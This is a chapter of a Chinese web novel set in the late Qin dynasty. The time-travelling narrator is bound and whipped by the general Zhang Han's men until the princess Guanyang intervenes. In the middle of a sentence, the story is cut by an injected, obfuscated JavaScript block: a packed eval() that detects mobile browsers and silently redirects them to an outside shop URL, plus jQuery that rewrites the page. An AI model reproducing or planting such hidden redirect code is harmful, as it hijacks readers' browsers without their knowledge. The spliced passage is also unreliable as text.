夜已深沉,我却迟迟难以入眠。旷野静得令人发怵,除了呼啸的风声,便只剩死一般的沉寂。辗转反侧间,我忽然听见草坪上传来“飒飒”的细响,起初以为是老鼠或虫子在草间穿行,可那声音越来越密集,“飒飒飒飒……”仿佛从四面八方缓缓逼近。
我想叫醒悺阳,却又不敢轻举妄动。就在那令人不安的动静仿佛已将我们包围之际,它们却突然归于寂静。
我屏息等了许久,四下再无声响,便安慰自己:多半是草地上的小兽夜间出行所致,也就稍稍放下心来,重新躺下。
但诡异的是,空气中忽然弥漫起一股淡淡的香气。那香幽幽的,带着山林雨后的清润,安抚了我紧绷已久的神经,也不知不觉间,将我拉入一场深沉的睡眠。
我只觉身子沉重得可怕,仿佛湘西水底那些被历史枷锁拖入深渊的女子——她们被五花大绑,送至湖心,背负沉石,一跃沉潭,无声地坠入那由传统编织的黑暗深井,连呼救都失去了权力。
而我,正挣扎在这般沉睡之中,似梦非梦,痛苦仿佛撕裂胸膛。一切压抑得令人窒息,直到一盆冰凉猝然倾下,浸透全身,将我从黑暗中惊醒。
一个阴暗的小屋,四周是凹凸不平的石墙,时不时有水滴从缝隙中滑落。天花板裂开一道细缝,一缕微弱的光从中漏下,在灰黄的光柱里,无数细尘与微小的生物翻飞挣扎,仿佛也在这逼仄之地艰难喘息。
我被牢牢捆在一张粗糙的木椅上,全身动弹不得。酸臭的水珠沿着头发、眼角、鼻翼、唇畔蜿蜒而下,浸透衣衫,也渗进地面,湿冷直逼皮肉深处,唤醒浸水的伤口,那种钝痛如潮水般向四肢百骸扩散。身体依旧沉重如铅,重得连一声呼救都难以发出,只能像沉入水底的尸体,静候一场未知而冰冷的审判。
忽然,吱呀一声,小木门被推开,刺目的阳光猛然闯入,洒在困于黑暗的人身上,那是令人本能抗拒的明亮,我下意识地偏头避开。
两个身披铠甲的男人走了进来,身形挺拔,步伐沉稳,阳光在他们的金属甲胄上泛出冷冽的光。片刻后,门口又现一人,是位身着军服的男子,他低头将一把椅子送入屋中,转身离去,却未将木门关上。
他们两个,一人坐着,一人立着。虽然我们皆陷于暗处,但那两双如鹰隼般锐利的眼睛,仿佛已在我身上穿出千疮百孔,气氛凝结如霜,压得人喘不过气来。
“说吧,你到底是谁,有何图谋?最好如实交代!”坐在椅子上的男人语气冰冷,仿若刀锋刮骨,“否则,悺阳若少了一根头发,我定叫你死无葬身之地。”
他提到了悺阳……悺阳?!我的心猛地一紧。难道她……
“你们把悺阳怎么了!”我强撑着声音,却藏不住语气里的惊慌与愤怒,早已五内灼烧。
“住口!公主的名讳岂是你这等人能直呼的!”站着的男人怒斥,语气森然。
我强迫自己冷静。刚才的对话虽然粗暴,但从中能听出,悺阳应当尚且无恙。真正的危险,反倒是落在我身上了。
我竭力解释:“你们误会了,我是悺阳的朋友,又怎可能加害于她?”
“住口!”坐着的男人猛然一声暴喝,几乎震得屋中光影都颤动。
空气再次凝固。我透过斑驳光影,看见站立的男子正以一种忠诚而紧张的目光望向主座。而坐着的男人,面容沉沉,仿佛在极力压制什么情绪。
他冷声道:“你明明是楚军营中的人,怎会是悺阳的朋友?她乃千金之躯,却与你这等贱人共处一夜,被你玷污成何体统!别再狡辩了!昨夜你们躺在草地上,我亲眼所见!”
我原本全身的无力,被这番话彻底点燃,愤怒如雷霆贯体,瞬间将恐惧烧得干干净净。
“军爷,说话能不能过点脑子?”我咬牙冷笑,直视他的眼睛,“你哪只眼睛看到我玷污她了?衣服撕了吗?还是你自己在那儿意淫?你要是真看不清,干脆现在把我抬到太阳底下去,好好看看我到底是谁,再张嘴胡言。”
话一出口,我顿觉胸中正气重新涌回,仿佛连空气里滴水的声音都成了我的同盟。我知道,接下来的苦头少不了,但我相信——悺阳会来救我。
那男人倏然起身,一股阴风扑面而来。他冷冷逼近,猛然一只手掐住我的脖子。那一刻,所有血流仿佛尽数被掐断,我只觉得再用一点力,我的颈骨就会应声而断。
他低声道:“我现在就让你知道,什么叫胡说八道。”说罢,手一松,反而更像是暴力的宣泄,将我的头重重砸向椅背,剧烈的撞击让世界天旋地转。
眩晕还未退去,一名士兵已立在我面前,手中握着两根拇指粗的长鞭,几乎比人还高。鞭影未动,寒意已先扑来。他手一挥,皮肉撕裂的痛猛地袭来,像是刀子一寸寸剥开后背。
我想,若能打死也好,死了就能回家了——再不必承受这份皮肉之苦。于是干脆咬紧牙关,闭上双眼,静静等着意识的消散。
然而许久过去,只觉血水顺着鞭痕淌下,温热而黏腻。就在这几乎麻木的疼痛中,竟讽刺地浮现出儿时被教练拿麻绳追着打的情景。
想来,我也是从小挨打长大的人。要说皮厚,比起寻常人,我是认的。但自从退役上大学后,我终于意识到,过去那些所谓“磨炼”的背后,藏着多少被隐忍掩盖的压抑。
我不愿再被任何人牵制,更不愿再听那句“为你好”而接受任何肆无忌惮的伤害。
这几年的历练,让我学会独立,变得倔强,甚至有些任性。我所有的一意孤行,并不是叛逆,而是坚定地寻找那个真正的自己。
从此,任何以权威、出身、身份之名施加在我头上的暴力,我都不再低头、不再顺从。
在那一声声鞭响中,我越发倔强,终于怒吼出声:“就算你们今日将我打死,我也绝不会承认那些事!因为不是我做的,就不是!”
我狠狠瞪着他们:“你们所谓的皇族尊荣,在我眼中不过是一堆肮脏泥土,更别说用愚昧的猜测去诬陷一个清白之人。有种你们就打死我!”
这时,站着的男人低声道:“将军,您真的要……若公主怪罪下来……”
“住手!”
一声熟悉得不能再熟悉的怒喝从门外传来。
悺阳一袭白衣冲进屋中,目光扫见我的模样时,脸色顿时煞白。她猛地夺过士兵手中的长鞭,反手就朝他背上抽了两下:“滚!”
我已不敢想自己此刻有多狼狈。浑身血污、衣衫破裂,鞭痕纵横,连脸和嘴角也被那凶狠的鞭梢划出几道血痕。悺阳扑过来,手忙脚乱地替我松绑。
我勉强挤出一丝苦笑:“你终于来了……要是再晚一点,我怕就真撑不下去了。”
悺阳没回答,只冷冷道:“别说话,我来替你讨回公道。”
她拾起刚从我身上解下的粗绳,一把砸到站在她面前的男人身上,厉声质问:“你们为何跟踪我?又凭什么擅动我的人?”
那男人眼神一震,声音却前所未有的柔和低沉:“悺阳……”
“悺阳也是你能叫的?”她的目光犹如冰刃,“别以为当年你救我逃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512538|203055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出秦宫,我就该感激你。章邯,我曾敬重你是位堂堂男儿,可你不问缘由就伤我亲近之人,又暗中监视于我,这样的行径,真是让我失望至极。”
站在旁边的军士开口,语气少了咄咄逼人,多了几分无奈:“公主,少荣并非存心冒犯。正因担心你,才秘密下令调查你的行踪。他怕你身边有小人设局,更怕你卷入不该卷的风波。”
那名军士语气低缓,却字字沉重,“当年之事,他也是为了救你。谁曾料到,天下骤乱。若早知今日局势,将军断不会放你离开秦国,而是会将你留在府中,亲自护你周全。更何况,当初先皇有旨,已将你许配给他。可少荣顾念的,却始终是你的心意与安危,从未将这桩婚约透露半字于二世。直至他察觉二世心术不正,有杀亲之嫌,才在那一夜,冒着斩首之罪,将你送出秦宫。”
“他放你自由,未曾强留,却命我们一路暗中守护至今。你未曾知晓的这些年,他做的每一件事,我们这些陪他征战沙场的兄弟,可都是看在眼里的。”
我静静看着眼前这一幕,心头隐隐作痛。悺阳眼前这个男人,果然正是秦末名将——章邯。
那个戏水退周文、南阳擒宋留、陈郡杀陈胜、临济斩田儋的狠人,也是那场定陶战役中令楚军溃败的主将。
悺阳的命运终究逃不过宿命之手,而那一段埋在权力背后的情感,也注定要在刀光剑影中化为悲剧的伏笔。
“王离,不必再说了。”
章邯转头看向悺阳,神情中夹杂着歉意与一丝难堪,“我只是太担心你……当我发现你与一个男人同躺草地,且那人一身楚军装束,我便以为你遇险,情急之下,失了分寸……”
悺阳语气冰冷:“上将军征战多年,难道连最基本的识人之能都已丧失?”
她抬手指向我,语调陡然尖锐,“你再看仔细些,她究竟是男是女?”
章邯略显尴尬地向我走来。我尚心有余愤,冷冷道:“别靠近,就站在那儿。”
他果然顿住脚步,凝神看我。良久,他嘴角竟浮出一抹克制不住的笑意,低头轻轻一笑。
悺阳皱眉:“你笑什么?她到底是男是女?”
章邯收起笑容,神色端正道:“王离,快命人将姑娘送去军帐,请莫大夫即刻诊治,务必用军中最好的药材为她疗伤。”
不久,两名兵士进屋,小心翼翼地将我从椅上扶起,正欲抬起时,悺阳厉声提醒:“你们两个给我留神点,要是弄疼她,我就让你们亲自试一试。”
两人听罢,动作顿时轻了几分。
“上将军,你将我的人折腾成这样,不打算说句道歉的话吗?”
悺阳双手抱臂,站在一旁气呼呼的,颇有几分小女儿的任性模样。
章邯闻言,立即走到我跟前,抱拳拱手,神情郑重:“是我眼拙,误将姑娘当作奸细,实属冒犯。此刻说什么都无以为补,但愿姑娘能不计前嫌。若在军中有任何所需,尽可吩咐,章某必竭力为姑娘办妥。”
我微抬头,气息微弱却不失清明:“堂堂秦国上将,竟肯低头向我这无名小卒道歉,我又怎能不宽宥。”
“好了好了,”悺阳催促道,“你们快把她送去疗伤,好生照料!”
当屋外光亮洒在我身上,炙热的痛感随之而来,仿佛每一寸皮肤都在燃烧,痛楚如火一般灼烧过全身,令我再次深刻体会到从死亡边缘挣脱,却又不得不忍受重生的痛苦。
生命,原来是如此脆弱无常,尤在这人权薄弱、血雨腥风的乱世里,显得更是虚无缥缈。